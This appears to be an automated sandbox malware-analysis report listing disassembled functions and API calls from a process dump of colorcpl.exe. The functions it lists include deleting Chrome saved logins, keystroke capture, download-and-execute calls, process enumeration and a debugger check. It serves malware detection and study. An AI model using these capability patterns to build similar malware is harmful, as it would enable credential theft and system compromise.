                                                                                    • Opcode ID: 178ed0b699a50ce996e86968c7b264a0ce2f386ee177b65441522e2c292fe213
                                                                                    • Instruction ID: 5ce499253ef796d3a3fd9e7f50e9c64cec812b353dbfce676d9fd53c985502cc
                                                                                    • Opcode Fuzzy Hash: 178ed0b699a50ce996e86968c7b264a0ce2f386ee177b65441522e2c292fe213
                                                                                    • Instruction Fuzzy Hash: 9BE1F97EA0421067DB14B7BC9C59C7E36AF6F91310F400A1CEE4AD75D4EE658A48CB93
                                                                                    Function 0285F7F0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 188COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02855725: GetLastError.KERNEL32(?,0284EE9A,02848595,0284EE9A,02881E90,?,0284CC1A,FF8BC35D,02881E90,02881E90), ref: 02855729
                                                                                      • Part of subcall function 02855725: _free.LIBCMT ref: 0285575C
                                                                                      • Part of subcall function 02855725: SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 0285579D
                                                                                      • Part of subcall function 02855725: _abort.LIBCMT ref: 028557A3
                                                                                      • Part of subcall function 02855725: _free.LIBCMT ref: 02855784
                                                                                      • Part of subcall function 02855725: SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 02855791
                                                                                    • GetUserDefaultLCID.KERNEL32 ref: 0285F8FC
                                                                                    • IsValidCodePage.KERNEL32(00000000), ref: 0285F957
                                                                                    • IsValidLocale.KERNEL32(?,00000001), ref: 0285F966
                                                                                    • GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 0285F9AE
                                                                                    • GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 0285F9CD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 745075371-1501633358
                                                                                    • Opcode ID: 2da7d743e3430f1d790b4f1cffa04031f5c25c10784163086cb10f73ef9bc17b
                                                                                    • Instruction ID: ebfdf40d7aece3b64f6af8f6ab59a1c6395fd3a2a5299d33c93cec14d0eb621b
                                                                                    • Opcode Fuzzy Hash: 2da7d743e3430f1d790b4f1cffa04031f5c25c10784163086cb10f73ef9bc17b
                                                                                    • Instruction Fuzzy Hash: 8651D47DE00629ABEF10DFA4DC44EBE73B9AF2A305F144469EE14E7590E7749900CB61
                                                                                    Function 0281A953 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0281A98F
                                                                                    • GetLastError.KERNEL32 ref: 0281A999
                                                                                    Strings
                                                                                    • [Chrome StoredLogins not found], xrefs: 0281A9B3
                                                                                    • UserProfile, xrefs: 0281A95F
                                                                                    • [Chrome StoredLogins found, cleared!], xrefs: 0281A9BF
                                                                                    • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0281A95A
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteErrorFileLast
                                                                                    • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                    • API String ID: 2018770650-1062637481
                                                                                    • Opcode ID: 3120a6368da51f979f429e218e9081725344e41a8fe1f440fbbd98bebb9702aa
                                                                                    • Instruction ID: dd3ad65bae180362b851663d67cafcbb30137931393f8f2efa0619bb1e4dd7be
                                                                                    • Opcode Fuzzy Hash: 3120a6368da51f979f429e218e9081725344e41a8fe1f440fbbd98bebb9702aa
                                                                                    • Instruction Fuzzy Hash: 0101267DB810086B6B087BB8DC1B8BE772DA911604B800215D416D23C9FE019954DAC3
                                                                                    Function 0281838E Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 02818393
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0281842F
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 0281848D
                                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 028184E5
                                                                                    • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 028184FC
                                                                                    • FindClose.KERNEL32(00000000), ref: 028186F4
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$CloseFile$Exception@8FirstH_prologNextThrow
                                                                                    • String ID:
                                                                                    • API String ID: 242384754-0
                                                                                    • Opcode ID: 278ae053ff8c1d96442c851a17590c93526fcfd6cd4b55d9cec26892214736e0
                                                                                    • Instruction ID: 59c574561141351920673af6f02072379d79732f5ed1193d5e790fdd86bc1aee
                                                                                    • Opcode Fuzzy Hash: 278ae053ff8c1d96442c851a17590c93526fcfd6cd4b55d9cec26892214736e0
                                                                                    • Instruction Fuzzy Hash: A0B16D3E9001189BDB14EBA8DC56EEEB77EAF10310F104259E90AE71D4EF749A49CF52
                                                                                    Function 02820763 Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02820201: SetLastError.KERNEL32(0000000D,02820781,00000000,?,?,?,?,?,?,?,?,?,?,?,?,0282075F), ref: 02820207
                                                                                    • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,0282075F), ref: 0282079C
                                                                                    • GetNativeSystemInfo.KERNEL32(?,0281BE60,00000000,?,?,?,?,?,?,?,?,?,?,?,?,0282075F), ref: 0282080A
                                                                                    • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 0282082E
                                                                                      • Part of subcall function 02820708: VirtualAlloc.KERNEL32(00000004,00000004,00000004,00000004,0282084C,?,00000000,00003000,00000004,00000000,?,?), ref: 02820718
                                                                                    • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 02820875
                                                                                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0282087C
                                                                                    • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0282098F
                                                                                      • Part of subcall function 02820ADC: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,0282099C,?,?,?,?,?), ref: 02820B4C
                                                                                      • Part of subcall function 02820ADC: HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 02820B53
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 3950776272-0
                                                                                    • Opcode ID: b12249249c11dbe80aeb3fb02cb4dcac3804f2131c08a877106a60bf91c1dd91
                                                                                    • Instruction ID: ed26d200b8da19af09048639215525b82baebd595a2c4d1f395d6e92aa3adf45
                                                                                    • Opcode Fuzzy Hash: b12249249c11dbe80aeb3fb02cb4dcac3804f2131c08a877106a60bf91c1dd91
                                                                                    • Instruction Fuzzy Hash: 1B61E47C600234AFD7509F69CD84B2A7BEABF64315F044124E90ADB681EBB5D4D8CBD2
                                                                                    Function 02819468 Relevance: 9.1, APIs: 6, Instructions: 54keyboardthreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetForegroundWindow.USER32(02882008,?,02882008), ref: 0281949C
                                                                                    • GetWindowThreadProcessId.USER32(00000000,?), ref: 028194A7
                                                                                    • GetKeyboardLayout.USER32(00000000), ref: 028194AE
                                                                                    • GetKeyState.USER32(00000010), ref: 028194B8
                                                                                    • GetKeyboardState.USER32(?), ref: 028194C5
                                                                                    • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 028194E1
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: KeyboardStateWindow$ForegroundLayoutProcessThreadUnicode
                                                                                    • String ID:
                                                                                    • API String ID: 3566172867-0
                                                                                    • Opcode ID: 8a7201ec44144c429e4e7fb660b4ec05eae6f1ded34afcc55de82fb2f4d60eae
                                                                                    • Instruction ID: 6ac9975cd2610a04b2f68e43b4c2ebce2675428d855650274995cb9cbfde03de
                                                                                    • Opcode Fuzzy Hash: 8a7201ec44144c429e4e7fb660b4ec05eae6f1ded34afcc55de82fb2f4d60eae
                                                                                    • Instruction Fuzzy Hash: 8511527694021CBBDB10DBE4ED4DFDA77BCEB0C701F040455F604EA180E675AA648BA0
                                                                                    Function 0285EEB8 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02855725: GetLastError.KERNEL32(?,0284EE9A,02848595,0284EE9A,02881E90,?,0284CC1A,FF8BC35D,02881E90,02881E90), ref: 02855729
                                                                                      • Part of subcall function 02855725: _free.LIBCMT ref: 0285575C
                                                                                      • Part of subcall function 02855725: SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 0285579D
                                                                                      • Part of subcall function 02855725: _abort.LIBCMT ref: 028557A3
                                                                                    • IsValidCodePage.KERNEL32(00000000), ref: 0285EF9A
                                                                                    • _wcschr.LIBVCRUNTIME ref: 0285F02A
                                                                                    • _wcschr.LIBVCRUNTIME ref: 0285F038
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 0285F0DB
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 4212172061-1501633358
                                                                                    • Opcode ID: 800a3ee47b51552c4d7bebbbf0bf0a7a5d3cf6a6b5f760e77081a07f17ce25ea
                                                                                    • Instruction ID: fa519cc32532e08e86b769b434f49cb7c1af37178ccb6c0aaa56b04c850eb081
                                                                                    • Opcode Fuzzy Hash: 800a3ee47b51552c4d7bebbbf0bf0a7a5d3cf6a6b5f760e77081a07f17ce25ea
                                                                                    • Instruction Fuzzy Hash: 73612C7D600226ABDB24AB38CC45FB673ADEF15344F18046AEE0DD7980EB74E644CB61
                                                                                    Function 0285F61C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 0285F6B5
                                                                                    • GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 0285F6DE
                                                                                    • GetACP.KERNEL32 ref: 0285F6F3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID: ACP$OCP
                                                                                    • API String ID: 2299586839-711371036
                                                                                    • Opcode ID: 5eec54c8aa035b36ca68e83a1967b923edf5ab02fdce418d8250de2bacf51e3c
                                                                                    • Instruction ID: 4312f0ba43e2f4ee8493eaaa8e752355f3be48ff6ff65882560ae96db932fabf
                                                                                    • Opcode Fuzzy Hash: 5eec54c8aa035b36ca68e83a1967b923edf5ab02fdce418d8250de2bacf51e3c
                                                                                    • Instruction Fuzzy Hash: 5F21D62EB00125EAD7308F64C905B9773EBEB62A54F568425EF0EC7926FB32D940C790
                                                                                    Function 02829493 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindResourceA.KERNEL32(SETTINGS,0000000A), ref: 028294A4
                                                                                    • LoadResource.KERNEL32(00000000,?,?,?,0281DD9E), ref: 028294B8
                                                                                    • LockResource.KERNEL32(00000000,?,?,?,0281DD9E), ref: 028294BF
                                                                                    • SizeofResource.KERNEL32(00000000,?,?,?,0281DD9E), ref: 028294CE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Resource$FindLoadLockSizeof
                                                                                    • String ID: SETTINGS
                                                                                    • API String ID: 3473537107-594951305
                                                                                    • Opcode ID: e38a103a73e07e27609e3ecf60c73a4e6312c46c212b56ca655d336818e320cb
                                                                                    • Instruction ID: 68784e71445e67838f3cf54d80a0389e72f7e2440344941a9b41de8224b1faa1
                                                                                    • Opcode Fuzzy Hash: e38a103a73e07e27609e3ecf60c73a4e6312c46c212b56ca655d336818e320cb
                                                                                    • Instruction Fuzzy Hash: 78E01A7EE80260EBCB211BA2A84CD173F7DEF997927040864F601D2281D639C824CA60
                                                                                    Function 028187A0 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 028187A5
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 0281881D
                                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 02818846
                                                                                    • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 0281885D
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$File$CloseFirstH_prologNext
                                                                                    • String ID:
                                                                                    • API String ID: 1157919129-0
                                                                                    • Opcode ID: 2048370b141ec78d95b4e326825c011627cd48faa38a7bad1a46328da157b6ee
                                                                                    • Instruction ID: fb30179be995797ea07b7490ec44d7a3b328aa13685cbfda9e96e397e49696a3
                                                                                    • Opcode Fuzzy Hash: 2048370b141ec78d95b4e326825c011627cd48faa38a7bad1a46328da157b6ee
                                                                                    • Instruction Fuzzy Hash: 9081183E9001189BDB15EBA8DC95DEDB7BEAF14310F10426AD50AE71D0EF30AA49CF52
                                                                                    Function 02817848 Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 0281784D
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,028732A8,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02817906
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0281792E
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0281793B
                                                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02817A51
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                                                                    • String ID:
                                                                                    • API String ID: 1771804793-0
                                                                                    • Opcode ID: 17712e341aa2e70c53da880edf365aff253f86081b88ceaaff6202d8b86f24d8
                                                                                    • Instruction ID: f39c5ef77dd020506dd789817497f2d076d97db49f793f402f1ff70a14a2363a
                                                                                    • Opcode Fuzzy Hash: 17712e341aa2e70c53da880edf365aff253f86081b88ceaaff6202d8b86f24d8
                                                                                    • Instruction Fuzzy Hash: 3E51407D901248AACB04FBA8DC599EDB77EAF11314F500659E90AE31D0EF349B49CF92
                                                                                    Function 0281E2E7 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02829F23: GetCurrentProcess.KERNEL32(?,?,?,0281C663,WinDir,00000000,00000000), ref: 02829F34
                                                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0281E305
                                                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0281E329
                                                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0281E338
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0281E4EF
                                                                                      • Part of subcall function 02829F51: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0281DFB9,00000000,?,?,00000001), ref: 02829F66
                                                                                      • Part of subcall function 02829F87: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000), ref: 02829F9C
                                                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0281E4E0
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ProcessProcess32$NextOpen$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                    • String ID:
                                                                                    • API String ID: 1735047541-0
                                                                                    • Opcode ID: 454a66fd66ba35739f0baaac8a1fe44451f904225a08aed3041e2a1cf827f69b
                                                                                    • Instruction ID: 73b4cda32ab7ccf33a67fcbea4f7e8c23d7069cb56aed7704ab30448f4be129f
                                                                                    • Opcode Fuzzy Hash: 454a66fd66ba35739f0baaac8a1fe44451f904225a08aed3041e2a1cf827f69b
                                                                                    • Instruction Fuzzy Hash: EA41EC3D6082509BD325FB68D854AEFB3AEAF94300F50492DE58EC21D4EF34994ACA57
                                                                                    Function 028163C6 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 028164D2
                                                                                    • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 028165B6
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DownloadExecuteFileShell
                                                                                    • String ID: C:\Windows\SysWOW64\colorcpl.exe$open
                                                                                    • API String ID: 2825088817-1189844230
                                                                                    • Opcode ID: aeeacb9621e3994f77f66166f32fff682a0e52c2273f8f50b91847cb08cebab4
                                                                                    • Instruction ID: 2d10a8bcda0401847ea17766ef4f41e025a0dd650abbba43736c3edffeaab714
                                                                                    • Opcode Fuzzy Hash: aeeacb9621e3994f77f66166f32fff682a0e52c2273f8f50b91847cb08cebab4
                                                                                    • Instruction Fuzzy Hash: C461C73DA0431067DA14FBB88899DBE77AF9F80714F40091DE68AD76C4FE64CA08CA53
                                                                                    Function 0285F2A3 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02855725: GetLastError.KERNEL32(?,0284EE9A,02848595,0284EE9A,02881E90,?,0284CC1A,FF8BC35D,02881E90,02881E90), ref: 02855729
                                                                                      • Part of subcall function 02855725: _free.LIBCMT ref: 0285575C
                                                                                      • Part of subcall function 02855725: SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 0285579D
                                                                                      • Part of subcall function 02855725: _abort.LIBCMT ref: 028557A3
                                                                                      • Part of subcall function 02855725: _free.LIBCMT ref: 02855784
                                                                                      • Part of subcall function 02855725: SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 02855791
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0285F2F7
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0285F348
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0285F408
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 2829624132-1501633358
                                                                                    • Opcode ID: 101d1e03b849596cfc153f7b667888a03371c23feb25d2db67393a7e9f6e33f1
                                                                                    • Instruction ID: 6c8a9b93e42d1167da241179b3bebf9095427247a2479bbf7a193afd970cff59
                                                                                    • Opcode Fuzzy Hash: 101d1e03b849596cfc153f7b667888a03371c23feb25d2db67393a7e9f6e33f1
                                                                                    • Instruction Fuzzy Hash: 6761C47D5401279BEB289F28CC85BB977A9FF15304F1481A9DE0AC6980F778D941CF50
                                                                                    Function 0282A76C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0282A861
                                                                                      • Part of subcall function 0282215F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,028730C0), ref: 0282216E
                                                                                      • Part of subcall function 0282215F: RegSetValueExA.KERNEL32(028730C0,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0282A83B,WallpaperStyle,028730C0), ref: 02822196
                                                                                      • Part of subcall function 0282215F: RegCloseKey.KERNEL32(028730C0,?,?,0282A83B,WallpaperStyle,028730C0), ref: 028221A1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateInfoParametersSystemValue
                                                                                    • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                    • API String ID: 4127273184-3576401099
                                                                                    • Opcode ID: ee60954eba89aa8769077d2ab62b4f522cd13a872dc2c090adead56420a317eb
                                                                                    • Instruction ID: e15a7387fba1f25ea9a75747d3a53529eed073e709888a1fced606e816d7cb83
                                                                                    • Opcode Fuzzy Hash: ee60954eba89aa8769077d2ab62b4f522cd13a872dc2c090adead56420a317eb
                                                                                    • Instruction Fuzzy Hash: 7C11A22EF8022437F918353D4D6BB6E291A9752A50F440158EA03EA7CDE9D6869983C7
                                                                                    Function 028498AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 028499A4
                                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 028499AE
                                                                                    • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 028499BB
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 3906539128-1501633358
                                                                                    • Opcode ID: ed30db87a768854237af20d72c920022785b9cd56529e5410e9f176b9709a69d
                                                                                    • Instruction ID: c23314a8c5f9b4a3fbbe33f3332396bf50328f2ec62e8185491a93bb2e213e71
                                                                                    • Opcode Fuzzy Hash: ed30db87a768854237af20d72c920022785b9cd56529e5410e9f176b9709a69d
                                                                                    • Instruction Fuzzy Hash: D4310A78D5122C9BCB21DF69D8887CDBBB8BF08310F1042DAE81CA7251EB309B858F45
                                                                                    Function 028568DC Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 028568EC
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • GetTimeZoneInformation.KERNEL32 ref: 028568FE
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,?,0287F754,000000FF,?,0000003F,?,?), ref: 02856976
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,?,0287F7A8,000000FF,?,0000003F,?,?,?,0287F754,000000FF,?,0000003F,?,?), ref: 028569A3
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
                                                                                    • String ID:
                                                                                    • API String ID: 806657224-0
                                                                                    • Opcode ID: a4fa9cd71a10cb933d89ce129584f21173bad2dfd59bd150132200d33c31d2c6
